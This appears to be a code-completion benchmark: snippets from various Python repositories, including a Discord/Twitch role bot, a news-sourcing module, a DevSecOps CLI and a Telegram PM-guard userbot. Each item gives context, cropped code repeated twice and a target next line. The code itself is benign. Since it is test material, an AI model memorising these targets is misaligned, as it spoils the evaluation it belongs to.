import logging import os from typing import List, Union from pydub import AudioSegment from tqdm import tqdm from parrot1.utils.file_utils import get_extension from parrot1.audio.utils.silence import split_on_silence

__logger = logging.getLogger(__name__) def get_audio_from_video(video_filename: Union[str, os.PathLike]) -> AudioSegment: """ Takes the audio from the video file :param video_filename: (Union[str, os.PathLike]) path to the video :return: (io.BytesIO) Audio bytes """ if not os.path.exists(video_filename): raise FileNotFoundError(f"File at {video_filename} does not exists.")

__logger = logging.getLogger(__name__) def get_audio_from_video(video_filename: Union[str, os.PathLike]) -> AudioSegment: """ Takes the audio from the video file :param video_filename: (Union[str, os.PathLike]) path to the video :return: (io.BytesIO) Audio bytes """ if not os.path.exists(video_filename): raise FileNotFoundError(f"File at {video_filename} does not exists.")

audio = AudioSegment.from_file(video_filename, format=get_extension(video_filename))

2023-11-14 22:33:32+00:00

2k

chenaoxuan/UsfUtils

usfutils/config.py

import io import os import sys import yaml from shutil import copyfile from typing import Union from .dist import master_only from .time import get_time_asc from .dict import UsfDict

__all__ = [ 'load_yaml', 'dict_to_yaml', 'copy_opt_file' ]

__all__ = [ 'load_yaml', 'dict_to_yaml', 'copy_opt_file' ]

def load_yaml(path: str) -> UsfDict:

2023-11-16 04:39:34+00:00

2k

ErdemOzgen/DevSecOpsBuilder

main.py

import argparse import networkx as nx import matplotlib.pyplot as plt from devsecopsbuilder import pipeline_executer from devsecopsbuilder import convert_graph from devsecopsbuilder import convert_pipeline from devsecopsbuilder import generate_report # noqa: F401 from devsecopsbuilder import asciiart

def main(): parser = argparse.ArgumentParser(description="Pipeline Execution Script") parser.add_argument("--install", action="store_true", help="Install tools") parser.add_argument("--update", action="store_true", help="Update tools") parser.add_argument( "--execute", action="store_true", help="Execute commands from playbook" ) parser.add_argument( "--config", default="./playbooks/playbook.yaml", help="Path to configuration file (optional)", ) parser.add_argument( "--output_dir", default="command_outputs/outputs", help="Path to output directory (optional)", ) parser.add_argument( "--tools_config", default="./tools/tools.yaml", help="Path to tools configuration file (optional)", ) parser.add_argument( "--report", action="store_true", help="Generates a report of the results of playbooks", ) parser.add_argument( "--generate_graph", action="store_true", help="Generate graph of defined yaml workflow", ) parser.add_argument( "--graph_yaml", default="./playbooks/playbook.yaml", help="Path to yaml file for generating graph (optional)", ) parser.add_argument( "--graph_output_dir", default="command_outputs/graphs/graph.png", help="Path to graph output directory (optional)", ) parser.add_argument( "--convert_pipeline", action="store_true", help="Convert yaml to pipeline" # noqa: E501 ) parser.add_argument( "--pipeline_yaml", default="./playbooks/playbook.yaml", help="Path to workflow yaml file to pipeline (optional)", ) parser.add_argument( "--pipeline_output_dir", default="command_outputs/jenkinsFiles/Jenkinsfile", help="Path to pipeline output directory (optional)", ) args = parser.parse_args() # Check if no actionable arguments were provided actionable_args = [ args.install, args.update, args.execute, args.report, args.generate_graph, args.convert_pipeline, ] if not any(actionable_args): asciiart.print_ascii_art() parser.print_help() return # Load configuration from specified or default path config = pipeline_executer.load_configuration(args.config) # Create specified or default output directory pipeline_executer.create_output_directory(args.output_dir) # Define default paths and other variables as a dictionary default_variables = { # Default variable values go here } if args.install or args.update: # Load tool configuration from the YAML file tools_config = pipeline_executer.load_configuration(args.tools_config) all_tools = tools_config["tools_to_install"]["tools"] default_tools = [tool for tool in all_tools if tool.get("default", False)] # noqa: E501 # Assuming 'tools' is the relevant section in the configuration for install/update # noqa: E501 # tools = config.get("tools", []) if args.install: # Install tools pipeline_executer.install_tools(default_tools) elif args.update: # Update tools pipeline_executer.update_tools(default_tools) if args.execute: # Execute configured commands commands_to_run = config.get("commands_to_run", {}).get("steps", []) for step in commands_to_run: if isinstance(step, dict): # Update default variables with step-specific ones if they exist # noqa: E501 step_variables = {**default_variables, **step.get("parameters", {})} # noqa: E501 pipeline_executer.run_command(step, args.output_dir, **step_variables) # noqa: E501 else: print(f"Invalid step format: {step}") if args.generate_graph: try:

def main(): parser = argparse.ArgumentParser(description="Pipeline Execution Script") parser.add_argument("--install", action="store_true", help="Install tools") parser.add_argument("--update", action="store_true", help="Update tools") parser.add_argument( "--execute", action="store_true", help="Execute commands from playbook" ) parser.add_argument( "--config", default="./playbooks/playbook.yaml", help="Path to configuration file (optional)", ) parser.add_argument( "--output_dir", default="command_outputs/outputs", help="Path to output directory (optional)", ) parser.add_argument( "--tools_config", default="./tools/tools.yaml", help="Path to tools configuration file (optional)", ) parser.add_argument( "--report", action="store_true", help="Generates a report of the results of playbooks", ) parser.add_argument( "--generate_graph", action="store_true", help="Generate graph of defined yaml workflow", ) parser.add_argument( "--graph_yaml", default="./playbooks/playbook.yaml", help="Path to yaml file for generating graph (optional)", ) parser.add_argument( "--graph_output_dir", default="command_outputs/graphs/graph.png", help="Path to graph output directory (optional)", ) parser.add_argument( "--convert_pipeline", action="store_true", help="Convert yaml to pipeline" # noqa: E501 ) parser.add_argument( "--pipeline_yaml", default="./playbooks/playbook.yaml", help="Path to workflow yaml file to pipeline (optional)", ) parser.add_argument( "--pipeline_output_dir", default="command_outputs/jenkinsFiles/Jenkinsfile", help="Path to pipeline output directory (optional)", ) args = parser.parse_args() # Check if no actionable arguments were provided actionable_args = [ args.install, args.update, args.execute, args.report, args.generate_graph, args.convert_pipeline, ] if not any(actionable_args): asciiart.print_ascii_art() parser.print_help() return # Load configuration from specified or default path config = pipeline_executer.load_configuration(args.config) # Create specified or default output directory pipeline_executer.create_output_directory(args.output_dir) # Define default paths and other variables as a dictionary default_variables = { # Default variable values go here } if args.install or args.update: # Load tool configuration from the YAML file tools_config = pipeline_executer.load_configuration(args.tools_config) all_tools = tools_config["tools_to_install"]["tools"] default_tools = [tool for tool in all_tools if tool.get("default", False)] # noqa: E501 # Assuming 'tools' is the relevant section in the configuration for install/update # noqa: E501 # tools = config.get("tools", []) if args.install: # Install tools pipeline_executer.install_tools(default_tools) elif args.update: # Update tools pipeline_executer.update_tools(default_tools) if args.execute: # Execute configured commands commands_to_run = config.get("commands_to_run", {}).get("steps", []) for step in commands_to_run: if isinstance(step, dict): # Update default variables with step-specific ones if they exist # noqa: E501 step_variables = {**default_variables, **step.get("parameters", {})} # noqa: E501 pipeline_executer.run_command(step, args.output_dir, **step_variables) # noqa: E501 else: print(f"Invalid step format: {step}") if args.generate_graph: try:

workflow_graph = convert_graph.parse_yaml_and_create_graph(args.graph_yaml) # noqa: E501

2023-11-14 07:50:52+00:00

2k

doodledood/chat-flock

chatflock/participants/user.py

from typing import Any from chatflock.base import ActiveChatParticipant, Chat

class UserChatParticipant(ActiveChatParticipant): def __init__(self, name: str = "User", role: str = "User", symbol: str = "👤", **kwargs: Any): super().__init__(name, messages_hidden=True, **kwargs) self.role = role self.symbol = symbol

class UserChatParticipant(ActiveChatParticipant): def __init__(self, name: str = "User", role: str = "User", symbol: str = "👤", **kwargs: Any): super().__init__(name, messages_hidden=True, **kwargs) self.role = role self.symbol = symbol

def respond_to_chat(self, chat: Chat) -> str:

2023-11-12 11:10:58+00:00

2k

phidatahq/junior-de

app/pages/3_DuckGPT_S3.py

from typing import List from phi.conversation import Conversation from app.openai_key import get_openai_key from app.password import check_password from app.reload import reload_button from app.user_name import get_user_name from duckgpt.s3_tables import load_s3_tables from llm.conversations.duckgpt_s3 import duckdb_s3_tools, get_duckgpt_s3_conversation from utils.log import logger import streamlit as st

st.title(":snowman: DuckGPT") st.markdown('<a href="https://github.com/phidatahq/phidata"><h4>by phidata</h4></a>', unsafe_allow_html=True) def restart_conversation(): st.session_state["s3_conversation"] = None st.session_state["s3_conversation_id"] = None st.rerun() def main() -> None: # Get users OpenAI API key get_openai_key() # Get user name

st.title(":snowman: DuckGPT") st.markdown('<a href="https://github.com/phidatahq/phidata"><h4>by phidata</h4></a>', unsafe_allow_html=True) def restart_conversation(): st.session_state["s3_conversation"] = None st.session_state["s3_conversation_id"] = None st.rerun() def main() -> None: # Get users OpenAI API key get_openai_key() # Get user name

user_name = get_user_name()

2023-11-14 10:44:20+00:00

2k

YoungJooHan/NM-FlowGAN

util/file_manager.py

import os import cv2 import numpy as np import torch from .util import tensor2np, save_img

class FileManager: def __init__(self, session_name, output_path=None): if output_path is None: self.output_folder = "./output" else: self.output_folder = output_path if not os.path.isdir(self.output_folder): os.makedirs(self.output_folder) print("[WARNING] output folder is not exist, create new one") # init session self.session_name = session_name os.makedirs(os.path.join(self.output_folder, self.session_name), exist_ok=True) # mkdir for directory in ['checkpoint', 'img']: self.make_dir(directory) def is_dir_exist(self, dir_name:str) -> bool: return os.path.isdir(os.path.join(self.output_folder, self.session_name, dir_name)) def make_dir(self, dir_name:str) -> str: os.makedirs(os.path.join(self.output_folder, self.session_name, dir_name), exist_ok=True) def get_dir(self, dir_name:str) -> str: # -> './output/<session_name>/dir_name' return os.path.join(self.output_folder, self.session_name, dir_name) def save_img_tensor(self, dir_name:str, file_name:str, img:torch.Tensor, ext='png'): self.save_img_numpy(dir_name, file_name, tensor2np(img), ext) def save_img_numpy(self, dir_name:str, file_name:str, img:np.array, ext='png'): if np.shape(img)[2] == 1:

class FileManager: def __init__(self, session_name, output_path=None): if output_path is None: self.output_folder = "./output" else: self.output_folder = output_path if not os.path.isdir(self.output_folder): os.makedirs(self.output_folder) print("[WARNING] output folder is not exist, create new one") # init session self.session_name = session_name os.makedirs(os.path.join(self.output_folder, self.session_name), exist_ok=True) # mkdir for directory in ['checkpoint', 'img']: self.make_dir(directory) def is_dir_exist(self, dir_name:str) -> bool: return os.path.isdir(os.path.join(self.output_folder, self.session_name, dir_name)) def make_dir(self, dir_name:str) -> str: os.makedirs(os.path.join(self.output_folder, self.session_name, dir_name), exist_ok=True) def get_dir(self, dir_name:str) -> str: # -> './output/<session_name>/dir_name' return os.path.join(self.output_folder, self.session_name, dir_name) def save_img_tensor(self, dir_name:str, file_name:str, img:torch.Tensor, ext='png'): self.save_img_numpy(dir_name, file_name, tensor2np(img), ext) def save_img_numpy(self, dir_name:str, file_name:str, img:np.array, ext='png'): if np.shape(img)[2] == 1:

save_img(self.get_dir(dir_name), '%s.%s'%(file_name, ext), np.squeeze(img, 2))

2023-11-16 02:22:32+00:00

2k

VCasecnikovs/RAGAgainstTheMachine

sourcing.py

import requests import os import json from dotenv import load_dotenv from newspaper import Article from chatting import chat_inference, ChatMessage, get_openAI_client, Role

YOU_HEADERS = {"X-API-Key": os.environ.get("YOUCOM_API_KEY", "")} def _get_you_search_impl( query: str, page_index: int = 0, limit: int = 20, country: str = "" ): url = "https://api.ydc-index.io/search" query_args = {"query": query} if page_index: query_args["offset"] = page_index if limit: query_args["count"] = limit if country: query_args["country"] = country response = requests.request("GET", url, headers=YOU_HEADERS, params=query_args) results = [] for line in response.json()["hits"]: snippets = " ".join(line["snippets"]) description = ". ".join([line["title"], snippets]) results.append( { "url": line["url"], "title": line["title"], "text": description, } ) return results def _get_you_news_impl( query: str, page_index: int = 0, limit: int = 20, country: str = "" ): url = "https://api.ydc-index.io/news" query_args = {"q": query} if page_index: query_args["offset"] = page_index if limit: query_args["count"] = limit if country: query_args["country"] = country response = requests.request("GET", url, headers=YOU_HEADERS, params=query_args) results = [] for line in response.json()["news"]["results"]: results.append( {"url": line["url"], "title": line["title"], "text": line["description"]} ) return results def get_you_search(query: str): # TODO: pass the page here somehow return _get_you_search_impl(query, page_index=0, country="") def get_you_news(query: str): # TODO: pass the page here somehow results = [] for _ in range(1): results.extend(_get_you_news_impl(query, page_index=0, country="")) return results def _get_newsapi_impl( query: str, page_index: int = 0, limit: int = 20 ): url = "https://newsapi.org/v2/everything" query_args = { "q": query, "apiKey": os.environ.get("NEWSAPI_API_KEY") } if page_index: query_args["page"] = page_index+1 if limit: query_args["pageSize"] = limit response = requests.request("GET", url, params=query_args) results = [] for line in response.json()["articles"]: results.append( {"url": line["url"], "title": line["title"], "text": line["description"] + " " + line["content"]} ) return results def get_newsapi_news(query: str): results = [] for _ in range(1): results.extend(_get_newsapi_impl(query, page_index=0)) return results SOURCES = { "you_news": get_you_news, # "you_search": get_you_search, # "news_api": get_newsapi_news, } def get_page_text(url: str) -> str: try: article = Article(url) article.download() article.parse() return article.text except Exception: return "" def scrape_data(articles_data: list[dict]): for article in articles_data: parsed_text = get_page_text(article["url"]) if parsed_text: article["text"] = article["text"] + " ." + parsed_text def filter_urls(urls):

load_dotenv() YOU_HEADERS = {"X-API-Key": os.environ.get("YOUCOM_API_KEY", "")} def _get_you_search_impl( query: str, page_index: int = 0, limit: int = 20, country: str = "" ): url = "https://api.ydc-index.io/search" query_args = {"query": query} if page_index: query_args["offset"] = page_index if limit: query_args["count"] = limit if country: query_args["country"] = country response = requests.request("GET", url, headers=YOU_HEADERS, params=query_args) results = [] for line in response.json()["hits"]: snippets = " ".join(line["snippets"]) description = ". ".join([line["title"], snippets]) results.append( { "url": line["url"], "title": line["title"], "text": description, } ) return results def _get_you_news_impl( query: str, page_index: int = 0, limit: int = 20, country: str = "" ): url = "https://api.ydc-index.io/news" query_args = {"q": query} if page_index: query_args["offset"] = page_index if limit: query_args["count"] = limit if country: query_args["country"] = country response = requests.request("GET", url, headers=YOU_HEADERS, params=query_args) results = [] for line in response.json()["news"]["results"]: results.append( {"url": line["url"], "title": line["title"], "text": line["description"]} ) return results def get_you_search(query: str): # TODO: pass the page here somehow return _get_you_search_impl(query, page_index=0, country="") def get_you_news(query: str): # TODO: pass the page here somehow results = [] for _ in range(1): results.extend(_get_you_news_impl(query, page_index=0, country="")) return results def _get_newsapi_impl( query: str, page_index: int = 0, limit: int = 20 ): url = "https://newsapi.org/v2/everything" query_args = { "q": query, "apiKey": os.environ.get("NEWSAPI_API_KEY") } if page_index: query_args["page"] = page_index+1 if limit: query_args["pageSize"] = limit response = requests.request("GET", url, params=query_args) results = [] for line in response.json()["articles"]: results.append( {"url": line["url"], "title": line["title"], "text": line["description"] + " " + line["content"]} ) return results def get_newsapi_news(query: str): results = [] for _ in range(1): results.extend(_get_newsapi_impl(query, page_index=0)) return results SOURCES = { "you_news": get_you_news, # "you_search": get_you_search, # "news_api": get_newsapi_news, } def get_page_text(url: str) -> str: try: article = Article(url) article.download() article.parse() return article.text except Exception: return "" def scrape_data(articles_data: list[dict]): for article in articles_data: parsed_text = get_page_text(article["url"]) if parsed_text: article["text"] = article["text"] + " ." + parsed_text def filter_urls(urls):

client = get_openAI_client()

2023-11-18 22:12:07+00:00

2k

TimeEnjoyed/TimeBot

core/bots.py

import asyncio import json import logging import pathlib import aiohttp import discord import twitchio import wavelink from typing import TYPE_CHECKING from urllib.parse import quote from discord.ext import commands from twitchio.ext import commands as tcommands from .config import config from .constants import MBTI_TYPES from collections.abc import Sequence from typing import Any from database import Database

if TYPE_CHECKING: logger: logging.Logger = logging.getLogger(__name__) LIVE_ROLE_ID: int = 1182206699969458226 SUBBED_ROLE_ID: int = 873044115279990836 class DiscordBot(commands.Bot): tbot: TwitchBot def __init__(self, *, database: Database) -> None: self.database = database intents: discord.Intents = discord.Intents.default() intents.message_content = True intents.members = True intents.presences = True self.loaded: bool = False super().__init__(intents=intents, command_prefix=config["DISCORD"]["prefix"]) async def on_ready(self) -> None: if self.loaded: return self.loaded = True assert self.user logger.info(f"Logged into Discord as {self.user} | {self.user.id}") if config["DEBUG"]["enabled"] is True: return guild: discord.Guild = self.get_guild(859565527343955998) # type: ignore role: discord.Role = guild.get_role(LIVE_ROLE_ID) # type: ignore subbed: discord.Role = guild.get_role(SUBBED_ROLE_ID) # type: ignore for member in guild.members: if subbed not in member.roles: continue streaming = False for activity in member.activities: if isinstance(activity, discord.Streaming) and str(activity.platform).lower() == "twitch": streaming = True if streaming and role not in member.roles: await member.add_roles(role) await asyncio.sleep(1) elif not streaming and role in member.roles: await member.remove_roles(role) await asyncio.sleep(1) logger.info("Finished updating roles in on_ready event.") async def setup_hook(self) -> None: node: wavelink.Node = wavelink.Node(uri=config["WAVELINK"]["uri"], password=config["WAVELINK"]["password"]) await wavelink.Pool.connect(nodes=[node], client=self, cache_capacity=100) location = ("extensions/discord", "extensions.discord") extensions: list[str] = [f"{location[1]}.{f.stem}" for f in pathlib.Path(location[0]).glob("*.py")] for extension in extensions: await self.load_extension(extension) logger.info("Loaded extensions for Discord Bot.") async def on_wavelink_node_ready(self, payload: wavelink.NodeReadyEventPayload) -> None: node: wavelink.Node = payload.node logger.info("Wavelink successfully connected: %s. Resumed: %s", node.identifier, payload.resumed) async def on_command_error(self, context: commands.Context, exception: commands.CommandError) -> None: if isinstance(exception, commands.CommandNotFound): return logger.exception(exception) async def on_presence_update(self, before: discord.Member, after: discord.Member) -> None: if config["DEBUG"]["enabled"] is True: return if before.guild.id != 859565527343955998: return subbed: discord.Role | None = after.guild.get_role(SUBBED_ROLE_ID) if subbed not in after.roles: return bstream: discord.Streaming | None = None astream: discord.Streaming | None = None for activity in before.activities: if isinstance(activity, discord.Streaming) and str(activity.platform).lower() == "twitch": bstream = activity for activity in after.activities: if isinstance(activity, discord.Streaming) and str(activity.platform).lower() == "twitch": astream = activity if bstream is not None and astream is not None: return role: discord.Role = before.guild.get_role(LIVE_ROLE_ID) # type: ignore if not bstream and astream and role not in before.roles: await before.add_roles(role, reason="Started streaming on Twitch") elif not astream and bstream and role in after.roles: await after.remove_roles(role, reason="Stopped streaming on Twitch") def mbti_count(self) -> dict[str, int]: guild: discord.Guild | None = self.get_guild(859565527343955998) assert guild is not None roles: Sequence[discord.Role] = guild.roles

"""Copyright 2023 TimeEnjoyed <https://github.com/TimeEnjoyed/> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ from __future__ import annotations if TYPE_CHECKING: logger: logging.Logger = logging.getLogger(__name__) LIVE_ROLE_ID: int = 1182206699969458226 SUBBED_ROLE_ID: int = 873044115279990836 class DiscordBot(commands.Bot): tbot: TwitchBot def __init__(self, *, database: Database) -> None: self.database = database intents: discord.Intents = discord.Intents.default() intents.message_content = True intents.members = True intents.presences = True self.loaded: bool = False super().__init__(intents=intents, command_prefix=config["DISCORD"]["prefix"]) async def on_ready(self) -> None: if self.loaded: return self.loaded = True assert self.user logger.info(f"Logged into Discord as {self.user} | {self.user.id}") if config["DEBUG"]["enabled"] is True: return guild: discord.Guild = self.get_guild(859565527343955998) # type: ignore role: discord.Role = guild.get_role(LIVE_ROLE_ID) # type: ignore subbed: discord.Role = guild.get_role(SUBBED_ROLE_ID) # type: ignore for member in guild.members: if subbed not in member.roles: continue streaming = False for activity in member.activities: if isinstance(activity, discord.Streaming) and str(activity.platform).lower() == "twitch": streaming = True if streaming and role not in member.roles: await member.add_roles(role) await asyncio.sleep(1) elif not streaming and role in member.roles: await member.remove_roles(role) await asyncio.sleep(1) logger.info("Finished updating roles in on_ready event.") async def setup_hook(self) -> None: node: wavelink.Node = wavelink.Node(uri=config["WAVELINK"]["uri"], password=config["WAVELINK"]["password"]) await wavelink.Pool.connect(nodes=[node], client=self, cache_capacity=100) location = ("extensions/discord", "extensions.discord") extensions: list[str] = [f"{location[1]}.{f.stem}" for f in pathlib.Path(location[0]).glob("*.py")] for extension in extensions: await self.load_extension(extension) logger.info("Loaded extensions for Discord Bot.") async def on_wavelink_node_ready(self, payload: wavelink.NodeReadyEventPayload) -> None: node: wavelink.Node = payload.node logger.info("Wavelink successfully connected: %s. Resumed: %s", node.identifier, payload.resumed) async def on_command_error(self, context: commands.Context, exception: commands.CommandError) -> None: if isinstance(exception, commands.CommandNotFound): return logger.exception(exception) async def on_presence_update(self, before: discord.Member, after: discord.Member) -> None: if config["DEBUG"]["enabled"] is True: return if before.guild.id != 859565527343955998: return subbed: discord.Role | None = after.guild.get_role(SUBBED_ROLE_ID) if subbed not in after.roles: return bstream: discord.Streaming | None = None astream: discord.Streaming | None = None for activity in before.activities: if isinstance(activity, discord.Streaming) and str(activity.platform).lower() == "twitch": bstream = activity for activity in after.activities: if isinstance(activity, discord.Streaming) and str(activity.platform).lower() == "twitch": astream = activity if bstream is not None and astream is not None: return role: discord.Role = before.guild.get_role(LIVE_ROLE_ID) # type: ignore if not bstream and astream and role not in before.roles: await before.add_roles(role, reason="Started streaming on Twitch") elif not astream and bstream and role in after.roles: await after.remove_roles(role, reason="Stopped streaming on Twitch") def mbti_count(self) -> dict[str, int]: guild: discord.Guild | None = self.get_guild(859565527343955998) assert guild is not None roles: Sequence[discord.Role] = guild.roles

mbti_dict: dict[str, int] = dict.fromkeys(MBTI_TYPES, 0)

2023-11-15 23:04:42+00:00

2k

henriquesebastiao/poupy

project/apps/app/views/transfer.py

from django.contrib import messages from django.contrib.auth.mixins import LoginRequiredMixin from django.shortcuts import redirect from django.views.generic import FormView from ..forms import TransferForm from ..models import Account, Transfer

"""Views for transfer app.""" class TransferView(LoginRequiredMixin, FormView): """Transfer view page.""" login_url = 'login' template_name = 'pages/app/new_transfer.html'

"""Views for transfer app.""" class TransferView(LoginRequiredMixin, FormView): """Transfer view page.""" login_url = 'login' template_name = 'pages/app/new_transfer.html'

form_class = TransferForm

2023-11-17 21:05:05+00:00

2k

AuroraNemoia/yuusei

main.py

import requests import json import jstyleson import os import time import random import generate import history from utils import log, basepath, tokenize

# Constants config = jstyleson.loads(open(basepath() + "/config.json", "r").read()) # Initialize self self_name = config["personality"]["name"] self_persona = config["personality"]["persona"] self_instruct_pre = config["personality"]["pre"] self_instruct_post = config["personality"]["post"] use_chat_completions = config["settings"]["use_chat_completions"] force_pre = config["settings"]["force_pre"] # Have self reply to the current situation. def answer(): # What is the current situation? prompt = buildPrompt() def buildPrompt(): # Build the prompt frontmatter. if use_chat_completions == True or force_pre == True: frontmatter = self_instruct_pre + self_persona + self_instruct_post else: # When using TextCompletions, we do not need to instruct the model, the response prompt does it for us. frontmatter = self_persona + self_instruct_post frontmatter_length = tokenize(frontmatter) # What is our budget for message history? history_token_budget = config["settings"]["context_size"] - config["settings"]["max_new_tokens"] - frontmatter_length # Let's query messages until we hit the token limit. message_event_stack = [] # TODO: implement checking max_history_items event_stack = history.fetchEvents(6) token_length = 0 for event in event_stack: if event["event_type"] == "message": token_length += tokenize(event["content"]) if token_length > history_token_budget: break message_event_stack.append(event) # Build the message stack as a string. message_stack = "" for message in message_event_stack: message_stack += (message["name"] + ": " + message["content"] + "\n") # Build response prompt (unused in ChatCompletions). response_prompt = self_name + ": " prompt = frontmatter + message_stack if use_chat_completions == False: prompt += response_prompt

# Constants config = jstyleson.loads(open(basepath() + "/config.json", "r").read()) # Initialize self self_name = config["personality"]["name"] self_persona = config["personality"]["persona"] self_instruct_pre = config["personality"]["pre"] self_instruct_post = config["personality"]["post"] use_chat_completions = config["settings"]["use_chat_completions"] force_pre = config["settings"]["force_pre"] # Have self reply to the current situation. def answer(): # What is the current situation? prompt = buildPrompt() def buildPrompt(): # Build the prompt frontmatter. if use_chat_completions == True or force_pre == True: frontmatter = self_instruct_pre + self_persona + self_instruct_post else: # When using TextCompletions, we do not need to instruct the model, the response prompt does it for us. frontmatter = self_persona + self_instruct_post frontmatter_length = tokenize(frontmatter) # What is our budget for message history? history_token_budget = config["settings"]["context_size"] - config["settings"]["max_new_tokens"] - frontmatter_length # Let's query messages until we hit the token limit. message_event_stack = [] # TODO: implement checking max_history_items event_stack = history.fetchEvents(6) token_length = 0 for event in event_stack: if event["event_type"] == "message": token_length += tokenize(event["content"]) if token_length > history_token_budget: break message_event_stack.append(event) # Build the message stack as a string. message_stack = "" for message in message_event_stack: message_stack += (message["name"] + ": " + message["content"] + "\n") # Build response prompt (unused in ChatCompletions). response_prompt = self_name + ": " prompt = frontmatter + message_stack if use_chat_completions == False: prompt += response_prompt

log(prompt)

2023-11-14 05:04:40+00:00

2k

gunyu1019/async-client-decorator

example/single_session.py

import asyncio import aiohttp from typing import NamedTuple from async_client_decorator import request, Session, Query

loop = asyncio.get_event_loop() class StationInfo(NamedTuple): displayId: str id: str name: str posX: float posY: float stationId: str type: int

loop = asyncio.get_event_loop() class StationInfo(NamedTuple): displayId: str id: str name: str posX: float posY: float stationId: str type: int

@Session.single_session("https://api.yhs.kr")

2023-11-14 06:41:19+00:00

2k

pmutua/CodeCraftGPT

components/lang_page.py

from typing import Type from langchain.chains import LLMChain from langchain.chat_models import ChatOpenAI from data.programming_languages import PROGRAMMING_LANGUAGES from prompts.translate_code_prompt import create_translation_prompt import streamlit as st

""" LangLink - Code Translation and Cross-Language Compatibility Overcome language barriers with LangLink, an AI-powered tool facilitating smooth code translation between programming languages. Developers can confidently migrate codebases, ensuring compatibility and seamless transitions across different languages. """ def show_lang_page(chat: Type[ChatOpenAI]): """ Displays the LangLink page for code translation. Parameters: - openai_api_key (str): The API key for OpenAI. Returns: None """ st.title("LangLink - Code Translation and Cross-Language Compatibility") st.markdown('Overcome language barriers with LangLink, an AI-powered tool facilitating smooth ' 'code translation between programming languages. Developers can confidently migrate ' 'codebases, ensuring compatibility and seamless transitions across different languages.') with st.form(key="lang_form"): source_code = st.text_area("Enter source code") target_language = st.selectbox("Select programming language", PROGRAMMING_LANGUAGES) submit_button = st.form_submit_button(label='Submit') if submit_button: st.text(f"Translating code snippet to {target_language}................✨")

""" LangLink - Code Translation and Cross-Language Compatibility Overcome language barriers with LangLink, an AI-powered tool facilitating smooth code translation between programming languages. Developers can confidently migrate codebases, ensuring compatibility and seamless transitions across different languages. """ def show_lang_page(chat: Type[ChatOpenAI]): """ Displays the LangLink page for code translation. Parameters: - openai_api_key (str): The API key for OpenAI. Returns: None """ st.title("LangLink - Code Translation and Cross-Language Compatibility") st.markdown('Overcome language barriers with LangLink, an AI-powered tool facilitating smooth ' 'code translation between programming languages. Developers can confidently migrate ' 'codebases, ensuring compatibility and seamless transitions across different languages.') with st.form(key="lang_form"): source_code = st.text_area("Enter source code") target_language = st.selectbox("Select programming language", PROGRAMMING_LANGUAGES) submit_button = st.form_submit_button(label='Submit') if submit_button: st.text(f"Translating code snippet to {target_language}................✨")

chat_prompt = create_translation_prompt(target_language,source_code)

2023-11-13 10:45:28+00:00

2k

itzshukla/STRANGER-USERBOT2.0

Zaid/modules/private/pmguard.py

from pyrogram import filters, Client from pyrogram.types import Message from pyrogram.methods import messages from Zaid.database.pmpermitdb import get_approved_users, pm_guard from config import LOG_GROUP, PM_LOGGER import asyncio import Zaid.database.pmpermitdb as Zaid

FLOOD_CTRL = 0 ALLOWED = [] USERS_AND_WARNS = {} async def denied_users(filter, client: Client, message: Message): if not await pm_guard(): return False if message.chat.id in (await get_approved_users()): return False else: return True def get_arg(message): msg = message.text msg = msg.replace(" ", "", 1) if msg[1] == " " else msg split = msg[1:].replace("\n", " \n").split(" ") if " ".join(split[1:]).strip() == "": return "" return " ".join(split[1:]) @Client.on_message(filters.command("setlimit", ["."]) & filters.me) async def pmguard(client, message): arg = get_arg(message) if not arg: await message.edit("**Set limit to what?**") return await Zaid.set_limit(int(arg)) await message.edit(f"**Limit set to {arg}**") @Client.on_message(filters.command("setblockmsg", ["."]) & filters.me) async def setpmmsg(client, message): arg = get_arg(message) if not arg: await message.edit("**What message to set**") return if arg == "default": await Zaid.set_block_message(Zaid.BLOCKED) await message.edit("**Block message set to default**.") return await Zaid.set_block_message(f"`{arg}`") await message.edit("**Custom block message set**") @Client.on_message(filters.command(["allow", "ap", "approve", "a"], ["."]) & filters.me & filters.private) async def allow(client, message): chat_id = message.chat.id pmpermit, pm_message, limit, block_message = await Zaid.get_pm_settings() await Zaid.allow_user(chat_id) await message.edit(f"**I have allowed [you](tg://user?id={chat_id}) to PM me.**") async for message in client.search_messages( chat_id=message.chat.id, query=pm_message, limit=1, from_user="me" ): await message.delete() USERS_AND_WARNS.update({chat_id: 0}) @Client.on_message(filters.command(["deny", "dap", "disapprove", "dapp"], ["."]) & filters.me & filters.private) async def deny(client, message): chat_id = message.chat.id await Zaid.deny_user(chat_id) await message.edit(f"**I have denied [you](tg://user?id={chat_id}) to PM me.**") @Client.on_message( filters.private & filters.create(denied_users) & filters.incoming & ~filters.service & ~filters.me & ~filters.bot ) async def reply_pm(app: Client, message): global FLOOD_CTRL pmpermit, pm_message, limit, block_message = await Zaid.get_pm_settings() user = message.from_user.id user_warns = 0 if user not in USERS_AND_WARNS else USERS_AND_WARNS[user]

FLOOD_CTRL = 0 ALLOWED = [] USERS_AND_WARNS = {} async def denied_users(filter, client: Client, message: Message): if not await pm_guard(): return False if message.chat.id in (await get_approved_users()): return False else: return True def get_arg(message): msg = message.text msg = msg.replace(" ", "", 1) if msg[1] == " " else msg split = msg[1:].replace("\n", " \n").split(" ") if " ".join(split[1:]).strip() == "": return "" return " ".join(split[1:]) @Client.on_message(filters.command("setlimit", ["."]) & filters.me) async def pmguard(client, message): arg = get_arg(message) if not arg: await message.edit("**Set limit to what?**") return await Zaid.set_limit(int(arg)) await message.edit(f"**Limit set to {arg}**") @Client.on_message(filters.command("setblockmsg", ["."]) & filters.me) async def setpmmsg(client, message): arg = get_arg(message) if not arg: await message.edit("**What message to set**") return if arg == "default": await Zaid.set_block_message(Zaid.BLOCKED) await message.edit("**Block message set to default**.") return await Zaid.set_block_message(f"`{arg}`") await message.edit("**Custom block message set**") @Client.on_message(filters.command(["allow", "ap", "approve", "a"], ["."]) & filters.me & filters.private) async def allow(client, message): chat_id = message.chat.id pmpermit, pm_message, limit, block_message = await Zaid.get_pm_settings() await Zaid.allow_user(chat_id) await message.edit(f"**I have allowed [you](tg://user?id={chat_id}) to PM me.**") async for message in client.search_messages( chat_id=message.chat.id, query=pm_message, limit=1, from_user="me" ): await message.delete() USERS_AND_WARNS.update({chat_id: 0}) @Client.on_message(filters.command(["deny", "dap", "disapprove", "dapp"], 